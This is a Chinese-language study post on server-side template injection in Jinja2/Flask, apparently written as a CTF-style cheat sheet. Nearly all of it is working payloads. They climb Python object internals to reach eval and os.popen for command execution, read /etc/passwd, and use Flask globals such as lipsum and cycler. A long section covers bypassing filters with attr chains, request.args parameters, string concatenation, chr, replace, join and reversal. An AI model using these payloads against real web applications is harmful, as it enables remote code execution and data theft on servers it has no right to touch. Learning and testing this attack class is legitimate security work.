成因

在不规范的代码中将用户可控的参数直接放入模板中进行渲染并回显

常用方法

__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序,返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数,可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__        返回内建内建名称空间字典

{{}}:填表达式会渲染结果,{{7*7}}返回49(类似sqli的万能钥匙)

{%%}:用于变量赋值,还有if和for语句,if和for用{%endif%}和{%endfor%}闭合

找到基本类

python中所有类都继承object类,先构造一个字符串、列表、元组或字典找到object类,找到object类之后再去object类的子类里面去找可以利用的类

''.__class__.__mro__[1]
''.__class__.__base__
''.__class__.__bases__[0]

找到可以利用的类

调用object类的__subclasses__()函数获取子类列表,下面这些都是通过__init__方法拿到__globals__属性然后用内建名空间跳到__builtins__再调用eval函数执行命令。

流程:对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
#warnings.catch_warnings
​
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__init__.__globals__%}{%if c.__init__.__globals__.__builtins__%}{{c.__name__}}{%endif%}{%endif%}{% endfor %}
#写个循环判断一下可用的类,挺多的
​
{{''.__class__.__base__.__subclasses__()[_ModuleLock].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
#然后可以用这个类调用eval函数来执行命令
​
{{"".__class__.__bases__[0].__subclasses__()["_wrap_close"].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
#_wrap_close

其他的姿势

可以调用不同的函数

{{"".__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
#利用eval函数构造命令执行,system函数可以用,但是返回值不是执行结果,而是数字
​
{{"".__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__'].__import__("os").popen("ls").read()}}
#利用__import__函数导入os模块构造命令执行
​
{{"".__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__'].open("/etc/passwd").read()}}
#通过open函数读取文件
​
{{"".__class__.__bases__[0].__subclasses__()[218].__init__.__globals__['os'].popen('ls').read()}}
#有些地方直接就有os模块

Flask内置函数

Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了)

流程:类→__init__方法→__globals__属性→__builtins__属性→命令执行的函数

函数→__globals__属性→__builtins__属性→命令执行的函数

{{self.__dict__._TemplateReference__context.keys()}}
#查看内置函数
#函数:lipsum、url_for、get_flashed_messages
#类:cycler、joiner、namespace、config、request、session
{{lipsum.__globals__.os.popen('ls').read()}}
#函数
{{cycler.__init__.__globals__.os.popen('ls').read()}}
#类

如果要查config但是过滤了config直接用self.__dict__就能找到里面的config

绕过

中括号

通过pop方法移除一个元素并返回来获取这个值,或者用__getitem__函数获取该元素,还可以将中括号换成点号然后用名称来跳到其他地方,例如前面的__globals__[‘__builtins__’]可换成__globals__.__builtins__。

点号

过滤中括号可以用点号绕过,过滤点号也可以用中括号绕过,还可以用attr函数进行绕过

{{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('ls')|attr('read')()}}
#attr拼接
{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
#中括号

GET和POST方法绕过

用GET方法进行绕过,可以绕过一些关键字,以及引号的过滤。

request.args:GET参数

request.form:POST参数

request.values:所有参数

{{lipsum.__globals__.__builtins__.__import__(request.args.eastjun).popen(request.args.westjun).read()}}&eastjun=os&westjun=ls
​
{{lipsum[request.args.southjun].__builtins__.__import__(request.args.eastjun).popen(request.args.westjun).read()}}&eastjun=os&westjun=ls&southjun=__globals__

利用字符串的方法绕过关键字过滤

Python字符串中有一些可以用的方法可以绕过关键字过滤

{{lipsum.__globals__.__builtins__.__import__('o'+'s').popen('l'+'s').read()}}
#拼接,需要加号
​
{%set chr = lipsum.__globals__.__builtins__.chr %}{{chr(99)~chr(111)~chr(110)~chr(102)~chr(105)~chr(103)}}
#配合chr函数拼了个config,但是没有执行,可以拼接字符串到其他地方。~换成%2b(+)也可以
​
{{lipsum.__globals__.__builtins__.__import__('oa'.replace('a','s')).popen('l s'.replace(' ','')).read()}}
#replace函数,需要逗号
​
{{lipsum['__globeastjunls__'.replace('eastjun','a')].__builtins__.__import__(''.join(('o','s'))).popen(''.join(('l','s'))).read()}}
#join函数,用列表或者元组传参,需要逗号
​
{{lipsum.__globals__.__builtins__.__import__('so'[::-1]).popen('sl'[::-1]).read()}}
#逆序,需要中括号
​
{{lipsum.__globals__.__builtins__.__import__(''.join('o s'.split(' '))).popen(''.join('l s'.split(' '))).read()}}
#join函数和split函数混合
说点什么
支持Markdown语法
在"ssti(服务器模板注入)学习"已有1条评论
Loading...